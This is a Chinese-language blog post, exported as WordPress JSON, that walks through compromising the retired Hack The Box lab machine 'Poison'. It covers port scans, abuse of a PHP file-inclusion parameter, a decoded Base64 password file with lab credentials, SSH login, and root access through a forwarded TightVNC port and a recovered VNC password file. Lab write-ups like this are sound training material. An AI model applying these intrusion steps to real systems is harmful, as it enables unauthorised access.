{"id":111,"date":"2024-11-13T09:21:36","date_gmt":"2024-11-13T01:21:36","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=111"},"modified":"2024-11-13T09:50:44","modified_gmt":"2024-11-13T01:50:44","slug":"htb_machine_poison","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/htb_machine_poison\/","title":{"rendered":"HTB\u9776\u673a Poison \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"
\n

\u76ee\u6807\u4fe1\u606f<\/h1>\n

IP\u5730\u5740\uff1a<\/strong>10.10.10.84<\/code><\/p><\/blockquote>\n

\n

\u4fe1\u606f\u6536\u96c6<\/h1>\n

ICMP\u68c0\u6d4b<\/h2>\n
\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/Documents\/pentest_notes\/poison\/nmap_reports]\n\u2514\u2500# ping -c 4 10.10.10.84\nPING 10.10.10.84 (10.10.10.84) 56(84) bytes of data.\n64 bytes from 10.10.10.84: icmp_seq=1 ttl=63 time=359 ms\n64 bytes from 10.10.10.84: icmp_seq=2 ttl=63 time=370 ms\n64 bytes from 10.10.10.84: icmp_seq=3 ttl=63 time=351 ms\n64 bytes from 10.10.10.84: icmp_seq=4 ttl=63 time=347 ms\n\n--- 10.10.10.84 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3200ms\nrtt min\/avg\/max\/mdev = 346.541\/356.710\/369.960\/8.819 ms<\/code><\/pre>\n
\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u901a\u4fe1\u72b6\u51b5\u826f\u597d\u3002<\/p>\n
\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n
\uff08\u65e0\uff09<\/code><\/pre>\n
\u65e0\u6cd5\u63a2\u6d4b\u9776\u673a\u9632\u706b\u5899\u72b6\u6001\u3002<\/p>\n
\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n
TCP<\/code>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.94SVN scan initiated Tue Jul  2 15:19:08 2024 as: nmap -sS -sV -A -p- --min-rate 2000 --oN .\/tcp_result.txt 10.10.10.84\nWarning: 10.10.10.84 giving up on port because retransmission cap hit (10).\nRTTVAR has grown to over 2.3 seconds, decreasing to 2.0\nRTTVAR has grown to over 2.3 seconds, decreasing to 2.0\nNmap scan report for 10.10.10.84 (10.10.10.84)\nHost is up (0.36s latency).\nNot shown: 43038 closed tcp ports (reset), 22495 filtered tcp ports (no-response)\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)\n| ssh-hostkey: \n|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)\n|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)\n|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)\n80\/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP\/5.6.32)\n|_http-server-header: Apache\/2.4.29 (FreeBSD) PHP\/5.6.32\n|_http-title: Site doesn't have a title (text\/html; charset=UTF-8).\nAggressive OS guesses: FreeBSD 11.1-RELEASE (97%), FreeBSD 11.0-RELEASE (96%), FreeBSD 11.2-RELEASE - 11.3 RELEASE or 11.2-STABLE (96%), FreeBSD 11.1-STABLE (95%), FreeBSD 11.0-RELEASE - 12.0-CURRENT (95%), FreeBSD 11.0-CURRENT (94%), FreeBSD 12.0-RELEASE - 13.0-CURRENT (93%), FreeBSD 11.2-RELEASE - 11.3-RELEASE (93%), FreeBSD 11.0-STABLE (92%), FreeBSD 11.1-RELEASE or 11.2-STABLE (92%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: FreeBSD; CPE: cpe:\/o:freebsd:freebsd\n\nTRACEROUTE (using port 5900\/tcp)\nHOP RTT       ADDRESS\n1   348.47 ms 10.10.14.1 (10.10.14.1)\n2   349.06 ms 10.10.10.84 (10.10.10.84)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Tue Jul  2 15:24:46 2024 -- 1 IP address (1 host up) scanned in 337.65 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.94SVN scan initiated Tue Jul  2 15:28:31 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.84\nWarning: 10.10.10.84 giving up on port because retransmission cap hit (10).\nRTTVAR has grown to over 2.3 seconds, decreasing to 2.0\nRTTVAR has grown to over 2.3 seconds, decreasing to 2.0\nRTTVAR has grown to over 2.3 seconds, decreasing to 2.0\nRTTVAR has grown to over 2.3 seconds, decreasing to 2.0\nRTTVAR has grown to over 2.3 seconds, decreasing to 2.0\nRTTVAR has grown to over 2.3 seconds, decreasing to 2.0\nRTTVAR has grown to over 2.3 seconds, decreasing to 2.0\nRTTVAR has grown to over 2.3 seconds, decreasing to 2.0\nRTTVAR has grown to over 2.3 seconds, decreasing to 2.0\nRTTVAR has grown to over 2.3 seconds, decreasing to 2.0\nNmap scan report for 10.10.10.84 (10.10.10.84)\nHost is up (1.9s latency).\nAll 65535 scanned ports on 10.10.10.84 (10.10.10.84) are in ignored states.\nNot shown: 43069 closed udp ports (port-unreach), 22466 open|filtered udp ports (no-response)\n\n# Nmap done at Tue Jul  2 15:33:58 2024 -- 1 IP address (1 host up) scanned in 327.37 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
\uff08\u65e0\uff09<\/code><\/pre>\n
\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3aFreeBSD<\/code>\u3002<\/p>\n
\n
\u670d\u52a1\u63a2\u6d4b<\/h1>\n
SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n
\u7aef\u53e3Banner<\/code>\uff1a<\/p>\n
\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/Documents\/pentest_notes\/poison\/nmap_reports]\n\u2514\u2500# nc -nv 10.10.10.84 22                                       \n(UNKNOWN) [10.10.10.84] 22 (ssh) open\nSSH-2.0-OpenSSH_7.2 FreeBSD-20161230<\/code><\/pre>\n
Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n
\u6253\u5f00\u4e3b\u9875\uff1ahttp:\/\/10.10.10.84\/<\/code><\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u7f51\u9875\u63d0\u793a\u5728\u4e0b\u65b9\u6587\u672c\u6846\u4e2d\u8f93\u5165\u6307\u5b9a\u7684PHP<\/code>\u811a\u672c\u540d\u79f0\u5e76\u70b9\u51fbSubmit<\/code>\u6309\u94ae\u3002\u5c1d\u8bd5\u8f93\u5165phpinfo.php<\/code>\uff1a<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u7f51\u5740\u4e2d\u88ab\u6dfb\u52a0\u4e86file<\/code>\u53c2\u6570\uff0c\u57fa\u672c\u786e\u5b9a\u6b64\u5904\u5b58\u5728\u6587\u4ef6\u5305\u542b\u540e\u95e8\uff1a<\/p>\n
\"\"<\/p>\n
\u540c\u65f6\u786e\u5b9a\u4e86\u7f51\u7ad9\u76ee\u5f55\u4e3a\/usr\/local\/www\/apache24\/data\/<\/code>\u3002<\/p>\n
\u5c1d\u8bd5\u5305\u542blistfiles.php<\/code>\uff0c\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n
Array\n(\n    [0] => .\n    [1] => ..\n    [2] => browse.php\n    [3] => index.php\n    [4] => info.php\n    [5] => ini.php\n    [6] => listfiles.php\n    [7] => phpinfo.php\n    [8] => pwdbackup.txt\n)<\/code><\/pre>\n
\u53d1\u73b0\u6587\u4ef6pwdbackup.txt<\/code>\uff0c\u76f4\u63a5\u8bbf\u95ee\uff0c\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n
This password is secure, it's encoded atleast 13 times.. what could go wrong really..\n\nVm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU\nbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS\nbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW\nM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs\nWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy\neG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G\nWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw\nMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa\nT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k\nWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk\nWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0\nNFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT\nVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz\nWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW\nVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO\nUkd4RVdub3dPVU5uUFQwSwo=<\/code><\/pre>\n
\u5c06Base64<\/code>\u6587\u672c\u4f7f\u7528\u5728\u7ebf\u5de5\u5177\u89e3\u7801\u4e4b\u540e\uff0c\u6210\u529f\u83b7\u53d6\u767b\u5f55\u51ed\u636e\uff08\u6839\u636e\u5bc6\u7801\u7684\u524d\u51e0\u4e2a\u5b57\u7b26\u548c\/etc\/passwd<\/code>\u6587\u4ef6\uff0c\u63a8\u6d4b\u51fa\u7528\u6237\u540d\uff09\uff1a<\/p>\n
    \n
  • \u7528\u6237\u540d\uff1a<\/strong>charix<\/code><\/li>\n
  • \u5bc6\u7801\uff1a<\/strong>Charix!2#4%6&8(0<\/code><\/li>\n<\/ul>\n
    \u5c1d\u8bd5\u767b\u5f55SSH<\/code>\uff0c\u6210\u529f\uff1a<\/p>\n
    \"\"<\/p>\n
    \n
    \u6743\u9650\u63d0\u5347<\/h1>\n
    \u89e3\u538b\u52a0\u5bc6\u538b\u7f29\u5305<\/h2>\n
    \u767b\u5f55\u7cfb\u7edf\u4e4b\u540e\uff0c\u5728charix<\/code>\u5bb6\u76ee\u5f55\u4e0b\u53d1\u73b0\u52a0\u5bc6\u538b\u7f29\u5305secret.zip<\/code>\uff0c\u5c1d\u8bd5\u4f7f\u7528\u5f53\u524d\u7528\u6237\u5bc6\u7801\uff08Charix!2#4%6&8(0<\/code>\uff09\u4f5c\u4e3a\u53e3\u4ee4\u8fdb\u884c\u89e3\u538b\uff0c\u6210\u529f\uff1a<\/p>\n
    unzip -P $( echo \"Q2hhcml4ITIjNCU2JjgoMA==\" | base64 -d; ) secret.zip<\/code><\/pre>\n
    \u4f46\u53d1\u73b0\u552f\u4e00\u7684\u6587\u4ef6secret<\/code>\u662f\u4e71\u7801\u3002<\/p>\n
    \u672c\u5730\u4fe1\u606f\u6536\u96c6<\/h2>\n
    \u57fa\u672c\u7cfb\u7edf\u4fe1\u606f<\/strong><\/p>\n
    \"\"<\/p>\n
    \u8fdb\u7a0b\u5217\u8868<\/strong><\/p>\n
    \"\"<\/p>\n
    \u8ba1\u5212\u4efb\u52a1\u5217\u8868<\/strong><\/p>\n
    \"\"<\/p>\n
    \u73af\u5883\u53d8\u91cf<\/strong><\/p>\n
    \"\"<\/p>\n
    \u7528\u6237\u4fe1\u606f<\/strong><\/p>\n
    \"\"<\/p>\n
    \u7528\u6237\u5bb6\u76ee\u5f55<\/strong><\/p>\n
    \"\"<\/p>\n
    \u7279\u6b8a\u6743\u9650\u6587\u4ef6<\/strong><\/p>\n
    \"\"<\/p>\n
    \u5f00\u653e\u7aef\u53e3\u4fe1\u606f<\/strong><\/p>\n
    \"\"<\/p>\n
    \u654f\u611f\u6587\u4ef6\u6743\u9650<\/strong><\/p>\n
    \"\"<\/p>\n
    \u7ecf\u5206\u6790\u7814\u5224\uff0c\u53d1\u73b0\u9776\u673aTCP 5901<\/code>\u53f7\u7aef\u53e3\u5b9e\u9645\u4e0a\u5f00\u542f\u4e86VNC<\/code>\u670d\u52a1\uff0c\u7248\u672c\u4e3aTightVNC 1.3.10<\/code>\uff0c\u51b3\u5b9a\u4ee5\u6b64\u4e3a\u5165\u53e3\u63d0\u6743\u3002<\/p>\n
    \u5bc6\u7801\u6587\u4ef6\u767b\u5f55VNC\u670d\u52a1<\/h2>\n
    \u9996\u5148\u4f7f\u7528SSH<\/code>\u7aef\u53e3\u8f6c\u53d1\u5c06\u4e24\u4e2a\u7aef\u53e35801<\/code>\u548c5901<\/code>\u8f6c\u53d1\u5230\u672c\u5730\uff1a<\/p>\n
    ssh -L 5801:127.0.0.1:5801 charix@10.10.10.84\nssh -L 5901:127.0.0.1:5901 charix@10.10.10.84<\/code><\/pre>\n
    \u6839\u636e\u9776\u673a\u4e0a\u90e8\u7f72\u4e86TightVNC<\/code>\uff0c\u63a8\u6d4b\u538b\u7f29\u5305\u5185\u7684\u5947\u602a\u6587\u4ef6\u53ef\u80fd\u662f\u52a0\u5bc6\u8fc7\u540e\u7684VNC<\/code>\u5bc6\u7801\u6587\u4ef6\u3002\u5c1d\u8bd5\u4f7f\u7528vncviewer<\/code>\u8fde\u63a5\uff1a<\/p>\n
    vncviewer 127.0.0.1:5901 -passwd .\/secret<\/code><\/pre>\n
    \"\"<\/p>\n
    \u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n
    \n
    Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n
    \"\"<\/p>\n
    \n
    \u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n
    \n","protected":false},"excerpt":{"rendered":"
    \u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.84 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b \u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/ …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-111","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/111","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=111"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/111\/revisions"}],"predecessor-version":[{"id":112,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/111\/revisions\/112"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=111"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=111"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=111"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}